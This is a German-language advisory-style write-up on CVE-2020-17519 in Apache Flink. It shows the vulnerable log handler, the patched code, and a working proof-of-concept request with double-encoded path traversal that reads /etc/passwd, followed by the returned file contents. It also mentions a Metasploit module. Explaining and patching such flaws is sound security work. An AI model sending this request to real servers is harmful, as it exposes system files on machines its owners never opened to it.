
[CVE-2020-17519] Apache Flink RESTful API Beliebiges Dateilesen
[CVE-2020-17519] Beliebiges Dateilesen über die Apache-Flink-REST-API
Apache Flink ist ein Framework und eine verteilte Verarbeitungs-Engine für zustandsbehaftete Berechnungen über unbegrenzte und begrenzte Datenströme, das mit Java und Scala entwickelt wurde. Eine Änderung, die in Apache Flink 1.11.0 eingeführt wurde (und auch in 1.11.1 und 1.11.2 veröffentlicht wurde), ermöglicht es Angreifern, über die RESTful API des JobManager-Prozesses beliebige Dateien im lokalen Dateisystem des JobManager zu lesen. Der Zugriff auf das Dateisystem ist auf Dateien beschränkt, auf die der JobManager-Prozess zugreifen kann.
Während alle Versionen zwischen 1.11.0 - 1.11.2 von der genannten Schwachstelle betroffen sind, hat Apache Flink die Schwachstelle in den Versionen 1.11.3 und höher behoben.
Der verwundbare Code ist die Klasse src/main/java/org/apache/flink/runtime/rest/handler/cluster/JobManagerCustomLogHandler.java. Der zugehörige Codeausschnitt ist unten aufgeführt.
if (logDir == null) {
return null;
}
String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
return new File(logDir, filename);
}
}
Das Problem besteht darin, dass der Request-Handler den direkten Zugriff auf den Dateipfad ermöglicht. Mit diesem wurde die verwundbare Codezeile wie folgt geändert. Im folgenden Codeausschnitt ist die verwundbare Zeile als Kommentarzeile markiert.
if (logDir == null) {
return null;
}
// String filename = handlerRequest.getPathParameter(LogFileNamePathParameter.class);
String filename = new File(handlerRequest.getPathParameter(LogFileNamePathParameter.class)).getName();
return new File(logDir, filename);
}
}
Proof of Concept (PoC): Um diese Schwachstelle auszunutzen, können Sie die folgende Anfrage verwenden.
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
Host: vulnerablehost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Die Antwort auf die obige Anfrage ist unten dargestellt.
HTTP/1.1 200 OK
Content-Type: text/plain
content-length: 964
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flink:x:9999:9999::/opt/flink:/bin/sh

Außerdem steht ein Metasploit-Modul für CVE-2020-17519 mit der Einstufung „Excellent“ zur Verfügung. Die Ruby-Codes finden Sie hier.
